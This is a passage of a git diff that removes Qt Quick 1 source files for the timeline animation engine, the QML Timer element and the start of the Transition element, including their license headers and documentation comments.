QDeclarative1TimeLineCallback(), easing); - d->add(timeLineValue, op); -} - -/*! - Cancel (but don't complete) all scheduled actions for \a timeLineValue. -*/ -void QDeclarative1TimeLine::reset(QDeclarative1TimeLineValue &timeLineValue) -{ - if (!timeLineValue._t) - return; - if (timeLineValue._t != this) { - qWarning() << "QDeclarative1TimeLine: Cannot reset a QDeclarative1TimeLineValue owned by another timeline."; - return; - } - remove(&timeLineValue); - timeLineValue._t = 0; -} - -int QDeclarative1TimeLine::duration() const -{ - return -1; -} - -/*! - Synchronize the end point of \a timeLineValue to the endpoint of \a syncTo - within this timeline. - - Following operations on \a timeLineValue in this timeline will be scheduled after - all the currently scheduled actions on \a syncTo are complete. In - pseudo-code this is equivalent to: - \code - QDeclarative1TimeLine::pause(timeLineValue, min(0, length_of(syncTo) - length_of(timeLineValue))) - \endcode -*/ -void QDeclarative1TimeLine::sync(QDeclarative1TimeLineValue &timeLineValue, QDeclarative1TimeLineValue &syncTo) -{ - QDeclarative1TimeLinePrivate::Ops::Iterator iter = d->ops.find(&syncTo); - if (iter == d->ops.end()) - return; - int length = iter->length; - - iter = d->ops.find(&timeLineValue); - if (iter == d->ops.end()) { - pause(timeLineValue, length); - } else { - int glength = iter->length; - pause(timeLineValue, length - glength); - } -} - -/*! - Synchronize the end point of \a timeLineValue to the endpoint of the longest - action cursrently scheduled in the timeline. - - In pseudo-code, this is equivalent to: - \code - QDeclarative1TimeLine::pause(timeLineValue, length_of(timeline) - length_of(timeLineValue)) - \endcode -*/ -void QDeclarative1TimeLine::sync(QDeclarative1TimeLineValue &timeLineValue) -{ - QDeclarative1TimeLinePrivate::Ops::Iterator iter = d->ops.find(&timeLineValue); - if (iter == d->ops.end()) { - pause(timeLineValue, d->length); - } else { - pause(timeLineValue, d->length - iter->length); - } -} - -/* - Synchronize all currently and future scheduled values in this timeline to - the longest action currently scheduled. - - For example: - \code - value1->setValue(0.); - value2->setValue(0.); - value3->setValue(0.); - QDeclarative1TimeLine tl; - ... - tl.move(value1, 10, 200); - tl.move(value2, 10, 100); - tl.sync(); - tl.move(value2, 20, 100); - tl.move(value3, 20, 100); - \endcode - - will result in: - - \table - \header \o \o 0ms \o 50ms \o 100ms \o 150ms \o 200ms \o 250ms \o 300ms - \row \o value1 \o 0 \o 2.5 \o 5.0 \o 7.5 \o 10 \o 10 \o 10 - \row \o value2 \o 0 \o 5.0 \o 10.0 \o 10.0 \o 10.0 \o 15.0 \o 20.0 - \row \o value2 \o 0 \o 0 \o 0 \o 0 \o 0 \o 10.0 \o 20.0 - \endtable -*/ - -/*void QDeclarative1TimeLine::sync() -{ - for (QDeclarative1TimeLinePrivate::Ops::Iterator iter = d->ops.begin(); - iter != d->ops.end(); - ++iter) - pause(*iter.key(), d->length - iter->length); - d->syncPoint = d->length; -}*/ - -/*! - \internal - - Temporary hack. - */ -void QDeclarative1TimeLine::setSyncPoint(int sp) -{ - d->syncPoint = sp; -} - -/*! - \internal - - Temporary hack. - */ -int QDeclarative1TimeLine::syncPoint() const -{ - return d->syncPoint; -} - -/*! - Returns true if the timeline is active. An active timeline is one where - QDeclarative1TimeLineValue actions are still pending. -*/ -bool QDeclarative1TimeLine::isActive() const -{ - return !d->ops.isEmpty(); -} - -/*! - Completes the timeline. All queued actions are played to completion, and then discarded. For example, - \code - QDeclarative1TimeLineValue v(0.); - QDeclarative1TimeLine tl; - tl.move(v, 100., 1000.); - // 500 ms passes - // v.value() == 50. - tl.complete(); - // v.value() == 100. - \endcode -*/ -void QDeclarative1TimeLine::complete() -{ - d->advance(d->length); -} - -/*! - Resets the timeline. All queued actions are discarded and QDeclarative1TimeLineValue's retain their current value. For example, - \code - QDeclarative1TimeLineValue v(0.); - QDeclarative1TimeLine tl; - tl.move(v, 100., 1000.); - // 500 ms passes - // v.value() == 50. - tl.clear(); - // v.value() == 50. - \endcode -*/ -void QDeclarative1TimeLine::clear() -{ - for (QDeclarative1TimeLinePrivate::Ops::ConstIterator iter = d->ops.begin(); iter != d->ops.end(); ++iter) - iter.key()->_t = 0; - d->ops.clear(); - d->length = 0; - d->syncPoint = 0; - //XXX need stop here? -} - -int QDeclarative1TimeLine::time() const -{ - return d->prevTime; -} - -/*! - \fn void QDeclarative1TimeLine::updated() - - Emitted each time the timeline modifies QDeclarative1TimeLineValues. Even if multiple - QDeclarative1TimeLineValues are changed, this signal is only emitted once for each clock tick. -*/ - -void QDeclarative1TimeLine::updateCurrentTime(int v) -{ - if (d->syncAdj == -1) - d->syncAdj = v; - v -= d->syncAdj; - - int timeChanged = v - d->prevTime; -#if 0 - if (!timeChanged) - return; -#endif - d->prevTime = v; - d->advance(timeChanged); - emit updated(); - - // Do we need to stop the clock? - if (d->ops.isEmpty()) { - stop(); - d->prevTime = 0; - d->clockRunning = false; - emit completed(); - } /*else if (pauseTime > 0) { - GfxClock::cancelClock(); - d->prevTime = 0; - GfxClock::pauseFor(pauseTime); - d->syncAdj = 0; - d->clockRunning = false; - }*/ else if (/*!GfxClock::isActive()*/ state() != Running) { - stop(); - d->prevTime = 0; - d->clockRunning = true; - d->syncAdj = 0; - start(); - } -} - -bool operator<(const QPair &lhs, - const QPair &rhs) -{ - return lhs.first < rhs.first; -} - -int QDeclarative1TimeLinePrivate::advance(int t) -{ - int pauseTime = -1; - - // XXX - surely there is a more efficient way? - do { - pauseTime = -1; - // Minimal advance time - int advanceTime = t; - for (Ops::Iterator iter = ops.begin(); iter != ops.end(); ++iter) { - TimeLine &tl = *iter; - Op &op = tl.ops.first(); - int length = op.length - tl.consumedOpLength; - - if (length < advanceTime) { - advanceTime = length; - if (advanceTime == 0) - break; - } - } - t -= advanceTime; - - // Process until then. A zero length advance time will only process - // sets. - QList > updates; - - for (Ops::Iterator iter = ops.begin(); iter != ops.end(); ) { - QDeclarative1TimeLineValue *v = static_cast(iter.key()); - TimeLine &tl = *iter; - Q_ASSERT(!tl.ops.isEmpty()); - - do { - Op &op = tl.ops.first(); - if (advanceTime == 0 && op.length != 0) - continue; - - if (tl.consumedOpLength == 0 && - op.type != Op::Pause && - op.type != Op::Execute) - tl.base = v->value(); - - if ((tl.consumedOpLength + advanceTime) == op.length) { - if (op.type == Op::Execute) { - updates << qMakePair(op.order, Update(op.event)); - } else { - bool changed = false; - qreal val = value(op, op.length, tl.base, &changed); - if (changed) - updates << qMakePair(op.order, Update(v, val)); - } - tl.length -= qMin(advanceTime, tl.length); - tl.consumedOpLength = 0; - tl.ops.removeFirst(); - } else { - tl.consumedOpLength += advanceTime; - bool changed = false; - qreal val = value(op, tl.consumedOpLength, tl.base, &changed); - if (changed) - updates << qMakePair(op.order, Update(v, val)); - tl.length -= qMin(advanceTime, tl.length); - break; - } - - } while(!tl.ops.isEmpty() && advanceTime == 0 && tl.ops.first().length == 0); - - - if (tl.ops.isEmpty()) { - iter = ops.erase(iter); - v->_t = 0; - } else { - if (tl.ops.first().type == Op::Pause && pauseTime != 0) { - int opPauseTime = tl.ops.first().length - tl.consumedOpLength; - if (pauseTime == -1 || opPauseTime < pauseTime) - pauseTime = opPauseTime; - } else { - pauseTime = 0; - } - ++iter; - } - } - - length -= qMin(length, advanceTime); - syncPoint -= advanceTime; - - qSort(updates.begin(), updates.end()); - updateQueue = &updates; - for (int ii = 0; ii < updates.count(); ++ii) { - const Update &v = updates.at(ii).second; - if (v.g) { - v.g->setValue(v.v); - } else { - v.e.d0(v.e.d1); - } - } - updateQueue = 0; - } while(t); - - return pauseTime; -} - -void QDeclarative1TimeLine::remove(QDeclarative1TimeLineObject *v) -{ - QDeclarative1TimeLinePrivate::Ops::Iterator iter = d->ops.find(v); - Q_ASSERT(iter != d->ops.end()); - - int len = iter->length; - d->ops.erase(iter); - if (len == d->length) { - // We need to recalculate the length - d->length = 0; - for (QDeclarative1TimeLinePrivate::Ops::Iterator iter = d->ops.begin(); - iter != d->ops.end(); - ++iter) { - - if (iter->length > d->length) - d->length = iter->length; - - } - } - if (d->ops.isEmpty()) { - stop(); - d->clockRunning = false; - } else if (/*!GfxClock::isActive()*/ state() != Running) { - stop(); - d->prevTime = 0; - d->clockRunning = true; - - if (d->syncMode == QDeclarative1TimeLine::LocalSync) { - d->syncAdj = -1; - } else { - d->syncAdj = 0; - } - start(); - } - - if (d->updateQueue) { - for (int ii = 0; ii < d->updateQueue->count(); ++ii) { - if (d->updateQueue->at(ii).second.g == v || - d->updateQueue->at(ii).second.e.callbackObject() == v) { - d->updateQueue->removeAt(ii); - --ii; - } - } - } - - -} - -/*! - \internal - \class QDeclarative1TimeLineValue - \brief The QDeclarative1TimeLineValue class provides a value that can be modified by QDeclarative1TimeLine. -*/ - -/*! - \fn QDeclarative1TimeLineValue::QDeclarative1TimeLineValue(qreal value = 0) - - Construct a new QDeclarative1TimeLineValue with an initial \a value. -*/ - -/*! - \fn qreal QDeclarative1TimeLineValue::value() const - - Return the current value. -*/ - -/*! - \fn void QDeclarative1TimeLineValue::setValue(qreal value) - - Set the current \a value. -*/ - -/*! - \fn QDeclarative1TimeLine *QDeclarative1TimeLineValue::timeLine() const - - If a QDeclarative1TimeLine is operating on this value, return a pointer to it, - otherwise return null. -*/ - - -QDeclarative1TimeLineObject::QDeclarative1TimeLineObject() -: _t(0) -{ -} - -QDeclarative1TimeLineObject::~QDeclarative1TimeLineObject() -{ - if (_t) { - _t->remove(this); - _t = 0; - } -} - -QDeclarative1TimeLineCallback::QDeclarative1TimeLineCallback() -: d0(0), d1(0), d2(0) -{ -} - -QDeclarative1TimeLineCallback::QDeclarative1TimeLineCallback(QDeclarative1TimeLineObject *b, Callback f, void *d) -: d0(f), d1(d), d2(b) -{ -} - -QDeclarative1TimeLineCallback::QDeclarative1TimeLineCallback(const QDeclarative1TimeLineCallback &o) -: d0(o.d0), d1(o.d1), d2(o.d2) -{ -} - -QDeclarative1TimeLineCallback &QDeclarative1TimeLineCallback::operator=(const QDeclarative1TimeLineCallback &o) -{ - d0 = o.d0; - d1 = o.d1; - d2 = o.d2; - return *this; -} - -QDeclarative1TimeLineObject *QDeclarative1TimeLineCallback::callbackObject() const -{ - return d2; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativetimeline_p_p.h b/src/qtquick1/util/qdeclarativetimeline_p_p.h deleted file mode 100644 index 75f1cc74a4..0000000000 --- a/src/qtquick1/util/qdeclarativetimeline_p_p.h +++ /dev/null @@ -1,200 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETIMELINE_H -#define QDECLARATIVETIMELINE_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include -#include - -QT_BEGIN_NAMESPACE - -class QEasingCurve; -class QDeclarative1TimeLineValue; -class QDeclarative1TimeLineCallback; -struct QDeclarative1TimeLinePrivate; -class QDeclarative1TimeLineObject; -class Q_AUTOTEST_EXPORT QDeclarative1TimeLine : public QAbstractAnimation -{ -Q_OBJECT -public: - QDeclarative1TimeLine(QObject *parent = 0); - ~QDeclarative1TimeLine(); - - enum SyncMode { LocalSync, GlobalSync }; - SyncMode syncMode() const; - void setSyncMode(SyncMode); - - void pause(QDeclarative1TimeLineObject &, int); - void callback(const QDeclarative1TimeLineCallback &); - void set(QDeclarative1TimeLineValue &, qreal); - - int accel(QDeclarative1TimeLineValue &, qreal velocity, qreal accel); - int accel(QDeclarative1TimeLineValue &, qreal velocity, qreal accel, qreal maxDistance); - int accelDistance(QDeclarative1TimeLineValue &, qreal velocity, qreal distance); - - void move(QDeclarative1TimeLineValue &, qreal destination, int time = 500); - void move(QDeclarative1TimeLineValue &, qreal destination, const QEasingCurve &, int time = 500); - void moveBy(QDeclarative1TimeLineValue &, qreal change, int time = 500); - void moveBy(QDeclarative1TimeLineValue &, qreal change, const QEasingCurve &, int time = 500); - - void sync(); - void setSyncPoint(int); - int syncPoint() const; - - void sync(QDeclarative1TimeLineValue &); - void sync(QDeclarative1TimeLineValue &, QDeclarative1TimeLineValue &); - - void reset(QDeclarative1TimeLineValue &); - - void complete(); - void clear(); - bool isActive() const; - - int time() const; - - virtual int duration() const; -Q_SIGNALS: - void updated(); - void completed(); - -protected: - virtual void updateCurrentTime(int); - -private: - void remove(QDeclarative1TimeLineObject *); - friend class QDeclarative1TimeLineObject; - friend struct QDeclarative1TimeLinePrivate; - QDeclarative1TimeLinePrivate *d; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1TimeLineObject -{ -public: - QDeclarative1TimeLineObject(); - virtual ~QDeclarative1TimeLineObject(); - -protected: - friend class QDeclarative1TimeLine; - friend struct QDeclarative1TimeLinePrivate; - QDeclarative1TimeLine *_t; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1TimeLineValue : public QDeclarative1TimeLineObject -{ -public: - QDeclarative1TimeLineValue(qreal v = 0.) : _v(v) {} - - virtual qreal value() const { return _v; } - virtual void setValue(qreal v) { _v = v; } - - QDeclarative1TimeLine *timeLine() const { return _t; } - - operator qreal() const { return _v; } - QDeclarative1TimeLineValue &operator=(qreal v) { setValue(v); return *this; } -private: - friend class QDeclarative1TimeLine; - friend struct QDeclarative1TimeLinePrivate; - qreal _v; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1TimeLineCallback -{ -public: - typedef void (*Callback)(void *); - - QDeclarative1TimeLineCallback(); - QDeclarative1TimeLineCallback(QDeclarative1TimeLineObject *b, Callback, void * = 0); - QDeclarative1TimeLineCallback(const QDeclarative1TimeLineCallback &o); - - QDeclarative1TimeLineCallback &operator=(const QDeclarative1TimeLineCallback &o); - QDeclarative1TimeLineObject *callbackObject() const; - -private: - friend struct QDeclarative1TimeLinePrivate; - Callback d0; - void *d1; - QDeclarative1TimeLineObject *d2; -}; - -template -class QDeclarative1TimeLineValueProxy : public QDeclarative1TimeLineValue -{ -public: - QDeclarative1TimeLineValueProxy(T *cls, void (T::*func)(qreal), qreal v = 0.) - : QDeclarative1TimeLineValue(v), _class(cls), _setFunctionReal(func), _setFunctionInt(0) - { - Q_ASSERT(_class); - } - - QDeclarative1TimeLineValueProxy(T *cls, void (T::*func)(int), qreal v = 0.) - : QDeclarative1TimeLineValue(v), _class(cls), _setFunctionReal(0), _setFunctionInt(func) - { - Q_ASSERT(_class); - } - - virtual void setValue(qreal v) - { - QDeclarative1TimeLineValue::setValue(v); - if (_setFunctionReal) (_class->*_setFunctionReal)(v); - else if (_setFunctionInt) (_class->*_setFunctionInt)((int)v); - } - -private: - T *_class; - void (T::*_setFunctionReal)(qreal); - void (T::*_setFunctionInt)(int); -}; - -QT_END_NAMESPACE - -#endif diff --git a/src/qtquick1/util/qdeclarativetimer.cpp b/src/qtquick1/util/qdeclarativetimer.cpp deleted file mode 100644 index 79968d4ed9..0000000000 --- a/src/qtquick1/util/qdeclarativetimer.cpp +++ /dev/null @@ -1,329 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativetimer_p.h" - -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - - - -class QDeclarative1TimerPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Timer) -public: - QDeclarative1TimerPrivate() - : interval(1000), running(false), repeating(false), triggeredOnStart(false) - , classBegun(false), componentComplete(false), firstTick(true) {} - int interval; - QPauseAnimation pause; - bool running : 1; - bool repeating : 1; - bool triggeredOnStart : 1; - bool classBegun : 1; - bool componentComplete : 1; - bool firstTick : 1; -}; - -/*! - \qmlclass Timer QDeclarative1Timer - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \brief The Timer item triggers a handler at a specified interval. - - A Timer can be used to trigger an action either once, or repeatedly - at a given interval. - - Here is a Timer that shows the current date and time, and updates - the text every 500 milliseconds. It uses the JavaScript \c Date - object to access the current time. - - \qml - import QtQuick 1.0 - - Item { - Timer { - interval: 500; running: true; repeat: true - onTriggered: time.text = Date().toString() - } - - Text { id: time } - } - \endqml - - The Timer element is synchronized with the animation timer. Since the animation - timer is usually set to 60fps, the resolution of Timer will be - at best 16ms. - - If the Timer is running and one of its properties is changed, the - elapsed time will be reset. For example, if a Timer with interval of - 1000ms has its \e repeat property changed 500ms after starting, the - elapsed time will be reset to 0, and the Timer will be triggered - 1000ms later. - - \sa {declarative/toys/clocks}{Clocks example} -*/ - -QDeclarative1Timer::QDeclarative1Timer(QObject *parent) - : QObject(*(new QDeclarative1TimerPrivate), parent) -{ - Q_D(QDeclarative1Timer); - connect(&d->pause, SIGNAL(currentLoopChanged(int)), this, SLOT(ticked())); - connect(&d->pause, SIGNAL(finished()), this, SLOT(finished())); - d->pause.setLoopCount(1); - d->pause.setDuration(d->interval); -} - -/*! - \qmlproperty int QtQuick1::Timer::interval - - Sets the \a interval between triggers, in milliseconds. - - The default interval is 1000 milliseconds. -*/ -void QDeclarative1Timer::setInterval(int interval) -{ - Q_D(QDeclarative1Timer); - if (interval != d->interval) { - d->interval = interval; - update(); - emit intervalChanged(); - } -} - -int QDeclarative1Timer::interval() const -{ - Q_D(const QDeclarative1Timer); - return d->interval; -} - -/*! - \qmlproperty bool QtQuick1::Timer::running - - If set to true, starts the timer; otherwise stops the timer. - For a non-repeating timer, \a running is set to false after the - timer has been triggered. - - \a running defaults to false. - - \sa repeat -*/ -bool QDeclarative1Timer::isRunning() const -{ - Q_D(const QDeclarative1Timer); - return d->running; -} - -void QDeclarative1Timer::setRunning(bool running) -{ - Q_D(QDeclarative1Timer); - if (d->running != running) { - d->running = running; - d->firstTick = true; - emit runningChanged(); - update(); - } -} - -/*! - \qmlproperty bool QtQuick1::Timer::repeat - - If \a repeat is true the timer is triggered repeatedly at the - specified interval; otherwise, the timer will trigger once at the - specified interval and then stop (i.e. running will be set to false). - - \a repeat defaults to false. - - \sa running -*/ -bool QDeclarative1Timer::isRepeating() const -{ - Q_D(const QDeclarative1Timer); - return d->repeating; -} - -void QDeclarative1Timer::setRepeating(bool repeating) -{ - Q_D(QDeclarative1Timer); - if (repeating != d->repeating) { - d->repeating = repeating; - update(); - emit repeatChanged(); - } -} - -/*! - \qmlproperty bool QtQuick1::Timer::triggeredOnStart - - When a timer is started, the first trigger is usually after the specified - interval has elapsed. It is sometimes desirable to trigger immediately - when the timer is started; for example, to establish an initial - state. - - If \a triggeredOnStart is true, the timer is triggered immediately - when started, and subsequently at the specified interval. Note that if - \e repeat is set to false, the timer is triggered twice; once on start, - and again at the interval. - - \a triggeredOnStart defaults to false. - - \sa running -*/ -bool QDeclarative1Timer::triggeredOnStart() const -{ - Q_D(const QDeclarative1Timer); - return d->triggeredOnStart; -} - -void QDeclarative1Timer::setTriggeredOnStart(bool triggeredOnStart) -{ - Q_D(QDeclarative1Timer); - if (d->triggeredOnStart != triggeredOnStart) { - d->triggeredOnStart = triggeredOnStart; - update(); - emit triggeredOnStartChanged(); - } -} - -/*! - \qmlmethod QtQuick1::Timer::start() - \brief Starts the timer. - - If the timer is already running, calling this method has no effect. The - \c running property will be true following a call to \c start(). -*/ -void QDeclarative1Timer::start() -{ - setRunning(true); -} - -/*! - \qmlmethod QtQuick1::Timer::stop() - \brief Stops the timer. - - If the timer is not running, calling this method has no effect. The - \c running property will be false following a call to \c stop(). -*/ -void QDeclarative1Timer::stop() -{ - setRunning(false); -} - -/*! - \qmlmethod QtQuick1::Timer::restart() - \brief Restarts the timer. - - If the Timer is not running it will be started, otherwise it will be - stopped, reset to initial state and started. The \c running property - will be true following a call to \c restart(). -*/ -void QDeclarative1Timer::restart() -{ - setRunning(false); - setRunning(true); -} - -void QDeclarative1Timer::update() -{ - Q_D(QDeclarative1Timer); - if (d->classBegun && !d->componentComplete) - return; - d->pause.stop(); - if (d->running) { - d->pause.setCurrentTime(0); - d->pause.setLoopCount(d->repeating ? -1 : 1); - d->pause.setDuration(d->interval); - d->pause.start(); - if (d->triggeredOnStart && d->firstTick) { - QCoreApplication::removePostedEvents(this, QEvent::MetaCall); - QMetaObject::invokeMethod(this, "ticked", Qt::QueuedConnection); - } - } -} - -void QDeclarative1Timer::classBegin() -{ - Q_D(QDeclarative1Timer); - d->classBegun = true; -} - -void QDeclarative1Timer::componentComplete() -{ - Q_D(QDeclarative1Timer); - d->componentComplete = true; - update(); -} - -/*! - \qmlsignal QtQuick1::Timer::onTriggered() - - This handler is called when the Timer is triggered. -*/ -void QDeclarative1Timer::ticked() -{ - Q_D(QDeclarative1Timer); - if (d->running && (d->pause.currentTime() > 0 || (d->triggeredOnStart && d->firstTick))) - emit triggered(); - d->firstTick = false; -} - -void QDeclarative1Timer::finished() -{ - Q_D(QDeclarative1Timer); - if (d->repeating || !d->running) - return; - emit triggered(); - d->running = false; - d->firstTick = false; - emit runningChanged(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativetimer_p.h b/src/qtquick1/util/qdeclarativetimer_p.h deleted file mode 100644 index 1942e72589..0000000000 --- a/src/qtquick1/util/qdeclarativetimer_p.h +++ /dev/null @@ -1,114 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETIMER_H -#define QDECLARATIVETIMER_H - -#include - -#include -#include - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1TimerPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1Timer : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1Timer) - Q_INTERFACES(QDeclarativeParserStatus) - Q_PROPERTY(int interval READ interval WRITE setInterval NOTIFY intervalChanged) - Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) - Q_PROPERTY(bool repeat READ isRepeating WRITE setRepeating NOTIFY repeatChanged) - Q_PROPERTY(bool triggeredOnStart READ triggeredOnStart WRITE setTriggeredOnStart NOTIFY triggeredOnStartChanged) - Q_PROPERTY(QObject *parent READ parent CONSTANT) - -public: - QDeclarative1Timer(QObject *parent=0); - - void setInterval(int interval); - int interval() const; - - bool isRunning() const; - void setRunning(bool running); - - bool isRepeating() const; - void setRepeating(bool repeating); - - bool triggeredOnStart() const; - void setTriggeredOnStart(bool triggeredOnStart); - -protected: - void classBegin(); - void componentComplete(); - -public Q_SLOTS: - void start(); - void stop(); - void restart(); - -Q_SIGNALS: - void triggered(); - void runningChanged(); - void intervalChanged(); - void repeatChanged(); - void triggeredOnStartChanged(); - -private: - void update(); - -private Q_SLOTS: - void ticked(); - void finished(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Timer) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/util/qdeclarativetransition.cpp b/src/qtquick1/util/qdeclarativetransition.cpp deleted file mode 100644 index ab3fb6cf70..0000000000 --- a/src/qtquick1/util/qdeclarativetransition.cpp +++ /dev/null @@ -1,352 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativestate_p.h" -#include "QtQuick1/private/qdeclarativestategroup_p.h" -#include "QtQuick1/private/qdeclarativestate_p_p.h" -#include "QtQuick1/private/qdeclarativestateoperations_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" -#include "QtQuick1/private/qdeclarativetransitionmanager_p_p.h" - -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass Transition QDeclarative1Transition - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \brief The Transition element defines animated transitions that occur on state changes. - - A Transition defines the animations to be applied when a \l State change occurs. - - For example, the following \l Rectangle has two states: the default state, and - an added "moved" state. In the "moved state, the rectangle's position changes - to (50, 50). The added Transition specifies that when the rectangle - changes between the default and the "moved" state, any changes - to the \c x and \c y properties should be animated, using an \c Easing.InOutQuad. - - \snippet doc/src/snippets/qtquick1/transition.qml 0 - - Notice the example does not require \l{PropertyAnimation::}{to} and - \l{PropertyAnimation::}{from} values for the NumberAnimation. As a convenience, - these properties are automatically set to the values of \c x and \c y before - and after the state change; the \c from values are provided by - the current values of \c x and \c y, and the \c to values are provided by - the PropertyChanges object. If you wish, you can provide \l{PropertyAnimation::}{to} and - \l{PropertyAnimation::}{from} values anyway to override the default values. - - By default, a Transition's animations are applied for any state change in the - parent item. The Transition \l {Transition::}{from} and \l {Transition::}{to} - values can be set to restrict the animations to only be applied when changing - from one particular state to another. - - To define multiple transitions, specify \l Item::transitions as a list: - - \snippet doc/src/snippets/qtquick1/transitions-list.qml list of transitions - - If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular - state change. In the example above, when changing to \c state1, the first transition will be used, rather - than the more generic second transition. - - If a state change has a Transition that matches the same property as a - \l Behavior, the Transition animation overrides the \l Behavior for that - state change. - - \sa {QML Animation and Transitions}, {declarative/animation/states}{states example}, {qmlstates}{States}, {QtDeclarative} -*/ - -//ParallelAnimationWrapper_1 allows us to do a "callback" when the animation finishes, rather than connecting -//and disconnecting signals and slots frequently -class ParallelAnimationWrapper_1 : public QParallelAnimationGroup -{ - Q_OBJECT -public: - ParallelAnimationWrapper_1(QObject *parent = 